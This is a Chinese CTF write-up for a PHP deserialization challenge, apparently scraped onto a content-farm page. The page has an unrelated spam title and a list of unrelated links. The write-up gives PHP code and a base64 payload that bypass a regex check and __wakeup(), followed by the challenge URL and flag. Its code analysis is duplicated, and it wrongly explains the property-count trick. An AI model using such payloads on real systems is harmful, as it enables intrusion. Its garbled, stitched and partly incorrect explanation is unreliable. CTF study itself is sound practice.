当前位置: 首页 > news >正文

站酷网官方入口网页版网站 建设原则

站酷网官方入口网页版,网站 建设原则,东莞做网站公司多少钱,怎么让客户主动找你1、题目描述 2、 3、分析代码 class Demo { private $file fl4g.php; }:定义了一个名为Demo的类,该类有一个私有属性$file,默认值为fl4g.php。 $a serialize(new Demo);:创建了一个Demo类的实例,并对其进行序列化&a…

1、题目描述

2、

3、分析代码

  1. class Demo { private $file = 'fl4g.php'; }:定义了一个名为Demo的类,该类有一个私有属性$file,默认值为fl4g.php

  2. $a = serialize(new Demo);:创建了一个Demo类的实例,并对其进行序列化,然后将序列化后的字符串赋值给变量$a

  3. $a = str_replace('O:4', 'O:+4',$a);:这行代码的目的是绕过preg_match('/[oc]:\d+:/i', $var)这样的正则表达式检查。原始的序列化字符串中,O:4表示的是一个对象,后面的数字4表示类名的长度。通过将4替换为+4,可以使正则表达式无法匹配,从而绕过检查。

  4. $a = str_replace(':1:', ':2:',$a);:这行代码的目的是绕过__wakeup()函数的检查。在__wakeup()函数中,如果$this->file的值不等于index.php,就会被重置为index.php。通过将序列化字符串中的:1:替换为:2:,可以使$this->file的值始终等于index.php,从而绕过检查。

  5. echo base64_encode($a);:最后,将修改后的序列化字符串进行Base64编码,然后输出。

4、根据代码中的提示,我们将fl4g.php进行base64编码后的值传给var,试着访问但是页面没有回显

5、根据题目我们需要进行序列化(代码引用这篇文章:攻防世界之Web_php_unserialize(超详细WP)_php unserialize-CSDN博客)

6、在源代码中我们需要绕过几个函数

<?php
class Demo { private $file = 'fl4g.php';
}
$a = serialize(new Demo);
$a = str_replace('O:4', 'O:+4',$a); //绕过preg_match()函数
$a = str_replace(':1:', ':2:',$a); //绕过__wakeup()函数
echo ($a);                  
?>

7、运行代码可以看到序列后的结果

O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}

将a的值进行编码

TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ== 

8、

  1. class Demo { private $file = 'fl4g.php'; }:定义了一个名为Demo的类,该类有一个私有属性$file,默认值为fl4g.php

  2. $a = serialize(new Demo);:创建了一个Demo类的实例,并对其进行序列化,然后将序列化后的字符串赋值给变量$a

  3. $a = str_replace('O:4', 'O:+4',$a);:这行代码的目的是绕过preg_match('/[oc]:\d+:/i', $var)这样的正则表达式检查。原始的序列化字符串中,O:4表示的是一个对象,后面的数字4表示类名的长度。通过将4替换为+4,可以使正则表达式无法匹配,从而绕过检查。

  4. $a = str_replace(':1:', ':2:',$a);:这行代码的目的是绕过__wakeup()函数的检查。在__wakeup()函数中,如果$this->file的值不等于index.php,就会被重置为index.php。通过将序列化字符串中的:1:替换为:2:,可以使$this->file的值始终等于index.php,从而绕过检查。

  5. echo base64_encode($a);:最后,将修改后的序列化字符串进行Base64编码,然后输出。

 

9、访问url:61.147.171.105:65034/?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

10、

ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013}

http://www.yayakq.cn/news/205510/

相关文章:

  • 城阳网站建设公司提高网站流量原则
  • 网站建设建站在线建站网页设计实验心得
  • 网站设计难点网站建设验收要求
  • 适合在家做的网站工作汽配外贸平台有哪些
  • 怎样做网站关键字网站定制开发要多少钱
  • 公司网站维护如何做分录10大免费软件下载网站推荐
  • 如何建设局域网内部网站有创意的广告图片及赏析
  • 网站开发的账务处理QQ群消息同步到WordPress
  • 网站制公司房山富阳网站建设
  • 个人 可以做网站备案吗兴化网站网站建设
  • 黄页88登录入口网站服务器速度对seo有什么影响?
  • 旅游网站建设的课题研究的主要内容郑州核酸vip服务
  • 个人如何建立公司网站长沙广告网页设计招聘网
  • 企业网站域名后缀百度问答平台
  • 免费云网站一键生成apph5免费制作网站模板
  • 南京市建设中心网站建设网站怎么克隆
  • 门户网站免费建设产品网站建设设计方案
  • 做网站推广的一般都是什么公司网站建设中的html页面下载
  • 网站建设公司专业网站开发制作天猫商城在线购物
  • 考试源码网站wordpress如何构成网站
  • 网站编辑招聘信息wordpress 手机端页面
  • 乐山网站开发济南网站推广优化外包
  • 学院网站设计说明书重庆建筑特种作业查询网
  • 网站推广烟台公司电话网址界面
  • 佛山网站建设哪里有网络营销案例分享
  • 个人网站的内容专业的网站公司到哪里找
  • 网站建设专业可行性分析企业文化包括哪些内容
  • 珠海网站建设技术外包广东网页设计培训
  • 河南省住房与城乡建设厅网站首页广州番禺各镇分布图
  • 网站建设纳千网络网站建设怎么自学